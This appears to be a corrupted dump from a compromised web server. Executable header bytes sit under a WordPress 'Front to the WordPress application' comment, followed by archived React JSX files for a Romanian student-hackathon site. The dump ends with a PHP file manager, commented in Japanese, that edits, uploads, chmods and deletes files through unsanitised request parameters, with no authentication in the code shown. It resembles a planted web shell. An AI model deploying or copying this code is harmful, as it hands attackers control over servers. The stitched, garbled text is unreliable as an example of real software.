MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads shared.jsx000064400000033727152510374020006553 0ustar00// Shared UI atoms + AppShell + auth context for EME // ───────────────────────────────────────────────────────────── // Icons (inline SVG, currentColor) // ───────────────────────────────────────────────────────────── const Icon = ({ name, size = 18, stroke = 1.8, style }) => { const paths = { upload: 'M12 16V4M12 4l-5 5M12 4l5 5M4 17v2a2 2 0 002 2h12a2 2 0 002-2v-2', file: 'M14 3H7a2 2 0 00-2 2v14a2 2 0 002 2h10a2 2 0 002-2V8l-5-5zM14 3v5h5', check: 'M5 12l4 4 10-10', x: 'M6 6l12 12M6 18L18 6', search: 'M11 19a8 8 0 100-16 8 8 0 000 16zM21 21l-4.3-4.3', bell: 'M15 17h5l-1.4-1.4A2 2 0 0118 14V11a6 6 0 10-12 0v3a2 2 0 01-.6 1.6L4 17h5M9 17a3 3 0 006 0', plus: 'M12 5v14M5 12h14', arrow_right: 'M5 12h14M13 6l6 6-6 6', arrow_left: 'M19 12H5M11 6l-6 6 6 6', chev_right: 'M9 6l6 6-6 6', chev_down: 'M6 9l6 6 6-6', user: 'M16 21v-2a4 4 0 00-4-4H6a4 4 0 00-4 4v2M9 11a4 4 0 100-8 4 4 0 000 8zM22 11h-6M22 8v6', users: 'M17 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2M9 11a4 4 0 100-8 4 4 0 000 8zM23 21v-2a4 4 0 00-3-3.9M16 3.1a4 4 0 010 7.8', grid: 'M3 3h7v7H3zM14 3h7v7h-7zM14 14h7v7h-7zM3 14h7v7H3z', settings: 'M12 15a3 3 0 100-6 3 3 0 000 6zM19.4 15a1.6 1.6 0 00.3 1.7l.1.1a2 2 0 11-2.8 2.8l-.1-.1a1.6 1.6 0 00-1.7-.3 1.6 1.6 0 00-1 1.5V21a2 2 0 11-4 0v-.1a1.6 1.6 0 00-1-1.5 1.6 1.6 0 00-1.7.3l-.1.1a2 2 0 11-2.8-2.8l.1-.1a1.6 1.6 0 00.3-1.7 1.6 1.6 0 00-1.5-1H3a2 2 0 110-4h.1a1.6 1.6 0 001.5-1 1.6 1.6 0 00-.3-1.7l-.1-.1a2 2 0 112.8-2.8l.1.1a1.6 1.6 0 001.7.3H9a1.6 1.6 0 001-1.5V3a2 2 0 114 0v.1a1.6 1.6 0 001 1.5 1.6 1.6 0 001.7-.3l.1-.1a2 2 0 112.8 2.8l-.1.1a1.6 1.6 0 00-.3 1.7V9a1.6 1.6 0 001.5 1H21a2 2 0 110 4h-.1a1.6 1.6 0 00-1.5 1z', chart: 'M3 3v18h18M7 14l4-4 4 4 5-5', folder: 'M3 7a2 2 0 012-2h4l2 2h8a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2V7z', star: 'M12 2l3 7 7 .5-5.5 4.5L18 21l-6-4-6 4 1.5-7L2 9.5 9 9z', mail: 'M3 5h18v14H3zM3 5l9 8 9-8', phone: 'M22 16.9v3a2 2 0 01-2.2 2 19.8 19.8 0 01-8.6-3 19.5 19.5 0 01-6-6 19.8 19.8 0 01-3-8.7A2 2 0 014.1 2h3a2 2 0 012 1.7c.1.9.3 1.8.6 2.6a2 2 0 01-.4 2.1L8 9.6a16 16 0 006 6l1.3-1.3a2 2 0 012-.5c.9.3 1.8.5 2.7.6a2 2 0 011.7 2z', pin: 'M21 10c0 7-9 13-9 13S3 17 3 10a9 9 0 1118 0zM12 13a3 3 0 100-6 3 3 0 000 6z', calendar: 'M3 5h18v16H3zM3 9h18M8 3v4M16 3v4', clock: 'M12 21a9 9 0 100-18 9 9 0 000 18zM12 7v5l3 2', play: 'M6 4l14 8-14 8z', paperclip: 'M21 11l-9 9a5 5 0 11-7-7l9-9a3.5 3.5 0 115 5L10 18a2 2 0 11-3-3l8-8', log_out: 'M9 21H5a2 2 0 01-2-2V5a2 2 0 012-2h4M16 17l5-5-5-5M21 12H9', moon: 'M21 12.8A9 9 0 0111.2 3a7 7 0 109.8 9.8z', sun: 'M12 17a5 5 0 100-10 5 5 0 000 10zM12 1v2M12 21v2M4.2 4.2l1.4 1.4M18.4 18.4l1.4 1.4M1 12h2M21 12h2M4.2 19.8l1.4-1.4M18.4 5.6l1.4-1.4', sparkle: 'M12 3l1.5 4.5L18 9l-4.5 1.5L12 15l-1.5-4.5L6 9l4.5-1.5zM19 14l.7 2 2 .7-2 .7-.7 2-.7-2-2-.7 2-.7zM5 14l.7 2 2 .7-2 .7L5 19.4l-.7-2-2-.7 2-.7z', book: 'M4 19.5A2.5 2.5 0 016.5 17H20V3H6.5A2.5 2.5 0 004 5.5v14zM4 19.5A2.5 2.5 0 006.5 22H20v-5', info: 'M12 21a9 9 0 100-18 9 9 0 000 18zM12 16v-4M12 8h0', download: 'M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M7 10l5 5 5-5M12 15V3', pencil: 'M11 4H4a2 2 0 00-2 2v14a2 2 0 002 2h14a2 2 0 002-2v-7M18.5 2.5a2.1 2.1 0 113 3L12 15l-4 1 1-4z', trash: 'M3 6h18M8 6V4a2 2 0 012-2h4a2 2 0 012 2v2M19 6l-1 14a2 2 0 01-2 2H8a2 2 0 01-2-2L5 6', filter: 'M22 3H2l8 9.5V19l4 2v-8.5L22 3z', eye: 'M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8zM12 15a3 3 0 100-6 3 3 0 000 6z', lock: 'M5 11h14v10H5zM8 11V7a4 4 0 118 0v4', instagram: 'M16 3H8a5 5 0 00-5 5v8a5 5 0 005 5h8a5 5 0 005-5V8a5 5 0 00-5-5zM12 16a4 4 0 110-8 4 4 0 010 8zM17 6.5h0', linkedin: 'M16 8a6 6 0 016 6v7h-4v-7a2 2 0 10-4 0v7h-4v-7a6 6 0 016-6zM2 9h4v12H2zM4 6a2 2 0 100-4 2 2 0 000 4z', facebook: 'M18 2h-3a5 5 0 00-5 5v3H7v4h3v8h4v-8h3l1-4h-4V7a1 1 0 011-1h3z', }; const d = paths[name]; if (!d) return null; return ( ); }; // ───────────────────────────────────────────────────────────── // Logo // ───────────────────────────────────────────────────────────── const Logo = ({ size = 'md' }) => { const sizes = { sm: { box: 24, font: 11, gap: 8, label: 14 }, md: { box: 28, font: 13, gap: 10, label: 16 }, lg: { box: 36, font: 16, gap: 12, label: 20 } }; const s = sizes[size]; return (
e
EME·2026
); }; // ───────────────────────────────────────────────────────────── // Background orbs (decorative gradient blobs) // ───────────────────────────────────────────────────────────── const BgOrbs = ({ variant = 'top' }) => { if (variant === 'top') return ( <>
); if (variant === 'side') return ( <>
); return null; }; // ───────────────────────────────────────────────────────────── // Status chips // ───────────────────────────────────────────────────────────── const STATUS_LABELS = { draft: 'Ciornă', submitted: 'Depus', review: 'În evaluare', graded: 'Notat', rejected: 'Respins', }; const StatusChip = ({ status }) => ( {STATUS_LABELS[status]} ); // ───────────────────────────────────────────────────────────── // Top nav (used by all authenticated screens) // ───────────────────────────────────────────────────────────── const TopNav = ({ user, onNav, current, onLogout, onToggleTheme, dark }) => { const tabs = { student: [ { id: 'student', label: 'Proiectul meu' }, { id: 'student-upload', label: 'Încărcare' }, { id: 'resources', label: 'Resurse' }, ], professor: [ { id: 'professor', label: 'Proiecte alocate' }, { id: 'professor-calendar', label: 'Calendar' }, ], admin: [ { id: 'admin', label: 'Rapoarte' }, { id: 'admin-settings', label: 'Setări' }, { id: 'admin-users', label: 'Utilizatori' }, ], }; const items = tabs[user.role] || []; return (
{ e.preventDefault(); onNav(user.role); }} style={{ display: 'flex' }}>
{user.initials}
{user.name}
{user.roleLabel}
); }; // ───────────────────────────────────────────────────────────── // Page heading // ───────────────────────────────────────────────────────────── const PageHead = ({ title, subtitle, eyebrow, actions }) => (
{eyebrow &&
{eyebrow}
}

{title}

{subtitle &&

{subtitle}

}
{actions &&
{actions}
}
); // ───────────────────────────────────────────────────────────── // Bordered section // ───────────────────────────────────────────────────────────── const Section = ({ title, subtitle, actions, children, padded = true }) => (
{(title || actions) && (
{title}
{subtitle &&
{subtitle}
}
{actions}
)}
{children}
); // ───────────────────────────────────────────────────────────── // Stat card // ───────────────────────────────────────────────────────────── const Stat = ({ label, value, delta, gradient }) => (
{gradient &&
}
{label}
{value}
{delta && (
{delta}
)}
); // Expose Object.assign(window, { Icon, Logo, BgOrbs, StatusChip, STATUS_LABELS, TopNav, PageHead, Section, Stat, }); landing.jsx000064400000042441152510374020006712 0ustar00// EME — Landing (public marketing page) const SLIDES = [ { eyebrow: 'Ediția a VIII-a · 14–16 mai 2026', title: 'Locul unde ideile întâlnesc mentorii.', sub: 'Trei zile de matchmaking între studenți, profesori și fondatori. Construiește, testează, prezintă.', cta: 'Înscriere echipă', tag: 'Cluj-Napoca', }, { eyebrow: 'Premii · 60.000 €', title: 'Finanțare de pre-seed pentru cele mai bune trei proiecte.', sub: 'Plus mentorat 1:1 cu fondatori din ecosistem și acces la programe de incubare partenere.', cta: 'Vezi premiile', tag: 'Pre-seed', }, { eyebrow: 'Jurizare · Rubrică pe 5 criterii', title: 'Feedback structurat, nu doar o notă pe colț de foaie.', sub: 'Fiecare echipă primește evaluări pe inovație, fezabilitate, impact, pitch și execuție.', cta: 'Vezi cum se notează', tag: 'Transparent', }, ]; const PARTNERS = [ { name: 'Nordlight Ventures', kind: 'wordmark' }, { name: 'Orbis Capital', kind: 'monogram', letters: 'OC' }, { name: 'Forge & Co.', kind: 'wordmark' }, { name: 'Atlas Labs', kind: 'symbol' }, { name: 'BCR Innovate', kind: 'wordmark' }, { name: 'Untold Foundation', kind: 'monogram', letters: 'UF' }, { name: 'Pollux Studio', kind: 'symbol' }, { name: 'Endeavor', kind: 'wordmark' }, ]; const GALLERY = [ { tag: 'Day 1 · Kickoff', span: 2, hue: 268 }, { tag: 'Workshop · UX', span: 1, hue: 195 }, { tag: 'Pitch night', span: 1, hue: 320 }, { tag: 'Mentor 1:1', span: 1, hue: 30 }, { tag: 'Demo Day', span: 2, hue: 215 }, ]; // Partner logo placeholder — renders an actual-looking lockup so the row reads as logos, not boxes. const PartnerLogo = ({ p }) => { if (p.kind === 'monogram') { return (
{p.letters}
{p.name}
); } if (p.kind === 'symbol') { return (
{p.name}
); } return ( {p.name} ); }; // ───────────────────────────────────────────────────────────── // Slideshow // ───────────────────────────────────────────────────────────── const Slideshow = ({ variant }) => { const [i, setI] = React.useState(0); React.useEffect(() => { const t = setInterval(() => setI(x => (x + 1) % SLIDES.length), 6000); return () => clearInterval(t); }, []); const s = SLIDES[i]; const isCenter = variant === 'centered'; return (
{/* gradient stage */}
{/* grid pattern overlay */}
{s.eyebrow}

{s.title}

{s.sub}

{/* dots + slide tag */}
{SLIDES.map((_, k) => (
{!isCenter && (
{s.tag}
)}
); }; // ───────────────────────────────────────────────────────────── // Gallery // ───────────────────────────────────────────────────────────── const Gallery = () => (
{GALLERY.map((g, i) => (
e.currentTarget.style.transform = 'translateY(-3px)'} onMouseLeave={e => e.currentTarget.style.transform = ''}>
{g.tag}
))}
); // ───────────────────────────────────────────────────────────── // Landing page // ───────────────────────────────────────────────────────────── const Landing = ({ onNav, dark, onToggleTheme, layout = 'split' }) => { const slideshowVariant = layout === 'centered' ? 'centered' : 'split'; return (
{/* Top bar */}
{/* Slideshow hero */} {/* Quick stats row */}
{[ { v: '184', l: 'Echipe înscrise' }, { v: '32', l: 'Mentori' }, { v: '60K €', l: 'Premii în bani' }, { v: '8', l: 'Universități' }, ].map((s, i) => (
{s.v}
{s.l}
))}
{/* Gallery */}
Edițiile trecute

Trei zile, două nopți, o comunitate.

Vezi toate fotografiile
{/* Partners */}
Parteneri 2026

Construit împreună cu ecosistemul.

{PARTNERS.map((p, i) => (
{ e.currentTarget.style.color = 'var(--ink)'; e.currentTarget.style.background = 'var(--surface-2)'; }} onMouseLeave={e => { e.currentTarget.style.color = 'var(--ink-3)'; e.currentTarget.style.background = ''; }}>
))}
{/* Contact */}
Contact

Întrebări? Echipa EME răspunde în 24h.

{[ { i: 'instagram', l: 'Instagram' }, { i: 'linkedin', l: 'LinkedIn' }, { i: 'facebook', l: 'Facebook' }, ].map(s => ( ))}
e.preventDefault()}>

'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo (""); } else { echo (""); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo '

Change Permissions

Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)
Cancel
'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo (""); } else { echo (""); } } else { echo (""); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo (""); } else { echo (""); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo (""); } else { echo (""); } } } ?>